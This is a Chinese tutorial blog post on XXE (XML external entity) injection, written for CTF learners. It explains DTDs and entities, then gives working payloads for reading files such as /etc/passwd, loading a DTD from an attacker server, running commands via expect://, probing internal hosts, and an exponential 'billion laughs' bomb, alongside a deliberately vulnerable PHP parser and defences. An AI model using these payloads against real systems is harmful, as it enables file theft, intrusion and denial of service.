前言:
XXE漏洞经常出现在CTF中,一直也没有系统的学习过,今天就来总结一波。
文章目录
一、XXE 漏洞是什么:二、XML基础知识:1、XML是什么?2、XML文档结构:DTD声明方式:1、内部DTD声明:2、外部DTD声明:实体的声明:实体的分类:1、按声明位置分(和上面的内外部引入 DTD声明不同,别弄混了):2、按类型分:三、如何利用XXE:四、XXE漏洞常见的危害:1、任意文件读取:2、命令执行:3、内网探测:4、攻击内网网站:5、发起Dos攻击:五、XXE 如何防御:方式一、使用开发语言提供的禁用外部实体的方法:方式二、过滤用户输入:最后一、XXE 漏洞是什么:
XXE 漏洞全称:XML External Entity Injection,即 XML 外部实体 注入漏洞。XXE 漏洞发生在应用程序解析 XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起 Dos攻击等危害。
二、XML基础知识:
想要了解 XXE漏洞,需要先了解一下关于 XML的基础知识。
1、XML是什么?
XML全称:可扩展标记语言(Extensible Markup Language)。
XML是独立于软件和硬件的信息传输工具,它把数据从HTML中分离。 XML语言没有预定义的标签,需要作者定义自己的标签和自己的文档结构。
XML 被设计用来传输和存储数据,HTML 被设计用来显示数据。
2、XML文档结构:
XML文档结构包括:
XML声明
DTD 文档类型定义(可选)
文档元素。
示例代码:
其中 DTD (Document Type Definition)即文档类型定义部分 定义了XML文档的标签以及元素属性。
如上图中的DTD 就定义了XML的根元素为 note,然后根元素下面有一些子元素 (to,from,heading,body),那么下面的文档元素就可以使用这些元素:
<!--文档元素--><note> <to>Dave</to><from>Tom</from><head>Reminder</head><body>You are a good man</body> </note>
注:
PCDATA:可被解析的字符数据。PCDATA 数据类型是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。文本中的标签会被当作标记来处理,而实体会被展开。与之对应的是CDATA
CDATA:不被解析的字符数据,CDATA 数据类型是不会被解析器解析的文本,在这些文本中的标签不会被当作标记来对 待,其中的实体也不会被展开。详细可点这 链接
DTD声明方式:
其中DTD有两种构建方式,分别为内部 DTD声明和外部 DTD声明。
1、内部DTD声明:
声明格式:
<!DOCTYPE 根元素 [元素声明]>
如 上例使用就是内部 DTD声明。
2、外部DTD声明:
通过引入 dtd文件的方式进行声明(这一点和 css,javascript 很像)。
声明格式:
<!DOCTYPE 根元素 SYSTEM "文件名">
例:
<?xml version="1.0"?><!DOCTYPE note SYSTEM "test.dtd"> <note> <to>H</to><from>E</from><head>L</head><body>LO</body> </note>
test.dtd:
<!ELEMENT to (#PCDATA)><!--定义to元素为”#PCDATA”类型--><!ELEMENT from (#PCDATA)><!--定义from元素为”#PCDATA”类型--><!ELEMENT head (#PCDATA)><!--定义head元素为”#PCDATA”类型--> <!ELEMENT body (#PCDATA)><!--定义body元素为”#PCDATA”类型-->
🆗,说完了 DTD的两种引入方式,终于到了关键人物:" 实体 " 登场了。
实体的声明:
实体定义在 DTD声明中,
例:
<?xml version="1.0"?><!DOCTYPE sss [<!ELEMENT sss ANY ><!ENTITY xxe "hello" >]>
这里定义元素为 ANY 表示可以接受任何元素作为标签,这里的"xxe"
就是我们所说的实体了(相当于一个变量),可以在XML文档元素中使用&
符号对实体进行引用。
例:
<sss><user>&xxe;</user><pass>pass</pass></sss>
到时候输出的时候&xxe;
就会被hello
替换。
实体的分类:
1、按声明位置分(和上面的内外部引入 DTD声明不同,别弄混了):
实体是定义在 DTD中的,可分为外部实体和内部实体,上面的例子就是内部实体,外部实体就是把实体定义在外部文件中。
例:
<?xml version="1.0"?><!DOCTYPE sss [<!ELEMENT sss ANY ><!ENTITY xxe SYSTEM "file:///D:/test.dtd" > //引入外部dtd文件]><sss><user>&xxe;</user><pass>pass</pass></sss>
这样当需要更改实体的值时,只需要更改外部的 dtd 文件就行,不需要打开源码更改了(降低了耦合性),但也带来了安全漏洞。
外部实体支持http、file等协议。不同程序支持的协议不同:
2、按类型分:
实体又分为通用实体和参数实体。
1、通用实体:
用&实体名;
引用,在DTD 中定义(内外DTD都行),在 XML文档元素中引用。
上面的例子都是通用实体。
2、参数实体:
使用% 实体名
(中间有空格) 在DTD中定义(内外DTD都行),并且只能在DTD中使用%实体名;
引用。
在 DTD 文件中,参数实体的声明可以引用其他实体(参数实体和通用实体)。
引入格式:
内部引入:
<!ENTITY % 实体名称 "实体的值">
例:
<?xml version="1.0" encoding="utf-8"><!DOCTYPE Author [<!ENTITY % first "Hello"><!ENTITY % second "%first;_World">%second;]>
%second;
会解析为:Hello_World
外部引入:
<!ENTITY % 实体名称 SYSTEM "URI">
例:
<!DOCTYPE a [<!ENTITY % name SYSTEM "file:///D:/test.dtd">%name;]>
三、如何利用XXE:
说了这么多,终于来到了重点,正如标题 XXE名为 “外部实体注入”,也就是说时是通过引入外部实体的方式进行注入的。
我们先来看这个例子:
<?xml version="1.0"?><!DOCTYPE s [<!ELEMENT s ANY ><!ENTITY xxe SYSTEM "file:///D:/test.dtd" > ]><s><user>&xxe;</user><pass>pass</pass></s>
既然能读 dtd文件,那是不是将路径换成敏感文件的路径,也能把敏感文件读出来?
例:
解析 xml 的php文件:
test.php:
<?phplibxml_disable_entity_loader (false);$xmlfile = file_get_contents('php://input');$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom($dom);echo $creds;?>
构造payload:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE A [ <!ENTITY a SYSTEM "file:///c:/windows/system.ini"> ]> <A>&a;</A>
可以看到,成功读取到了 C盘下的system.ini
文件,此漏洞就是任意文件读取漏洞。
四、XXE漏洞常见的危害:
1、任意文件读取:
构造任意文件读取漏洞 playload 有下面几种方法:
方式一、直接通过外部实体声明:
XML内容:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE a [ <!ENTITY b SYSTEM "file:///etc/passwd"> ]> <a>&b;</a>
上面的例子就是此方式,这是最简单的XXE漏洞利用。
方式二、外部实体声明 (通用实体)+ 外部 DTD文件:
XML内容:
<?xml version="1.0"?><!DOCTYPE a SYSTEM "http://XXX/test.dtd"><c>&b;</c>
注意:这里的 http://XXX/test.dtd 是攻击者自己服务器上的文件。
test.dtd 内容:
<!ENTITY b SYSTEM "file:///etc/passwd">
示例(使用的是 xxe-labs 靶场的php环境):
因为这里使用windows演示的,所以读取的是system.ini
文件,可以看到成功的读取到了。
方式三、外部实体声明(参数实体) + 引入外部实体声明:
因为参数实体可以嵌套别的实体,所以产生了这种方式。
<?xml version="1.0"?><!DOCTYPE a[<!ENTITY % d SYSTEM "http://XXX/test.dtd">%d;]><c>&b;</c>
test.dtd 内容:
<!ENTITY b SYSTEM "file:///etc/passwd">
示例:
注意这种方式必须要先引用 参数实体,才能引用通用实体,且缺一不可。
2、命令执行:
在安装 expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令。
因为PHP的 expect 并不是默认安装扩展,所以命令执行比较难利用,但不排除有幸运的情况。
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "expect://cat /" >]><root><name>&xxe;</name></root>
3、内网探测:
XML 外部实体中是可以使用http://协议,可以利用该请求去探查内网。
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "http://127.0.0.1:80" >]><root><name>&xxe;</name></root>
4、攻击内网网站:
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "http://127.0.0.1:80/payload" >]><root><name>&xxe;</name></root>
5、发起Dos攻击:
几乎所有可以控制服务器资源利用的东西,都可用于制造DOS攻击。通过XML外部实体注入,攻击者可以发送任意的HTTP请求,因为解析器会解析文档中的所有实体,所以如果实体声明层层嵌套的话,在一定数量上可以对服务器器造成DoS。
常见的XML炸弹:
<?xml version="1.0"?><!DOCTYPE lolz [<!ENTITY lol "lol"><!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"><!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"><!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"><!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"><!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"><!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"><!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"><!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]><lolz>&lol9;</lolz>
攻击原理:XML解析器尝试解析该文件时,DTD中的实体会以指数级的数量级展开,lol 实体为 “lol” 字符串,然后一个 lol2 实体引用了 10 次 lol 实体,一个 lol3 实体引用了 10 次 lol2 实体,此时一个 lol3 实体就含有10^2
个 “lol” 了,以此类推,lol9 实体含有10^8
个 “lol” 字符串,所以这个1K不到的文件经过解析后会占用到3G的内存,可见有多恐怖,不过现代的服务器软硬件大多已经抵御了此类攻击。
防御XML炸弹的方法也很简单禁止DTD或者是限制每个实体的最大长度。
五、XXE 如何防御:
方式一、使用开发语言提供的禁用外部实体的方法:
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);
Python:
from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
方式二、过滤用户输入:
过滤用户提交的XML数据 ,关键词:<!DOCTYPE>、<!ENTITY>、SYSTEM、PUBLIC
。
最后
🆗,关于 XXE漏洞的总结大致就这些了,后面遇到新的 XXE利用方式再补上。( •̀ ω •́ )✧
如果觉得《XML外部实体注入漏洞——XXE简单分析》对你有帮助,请点赞、收藏,并留下你的观点哦!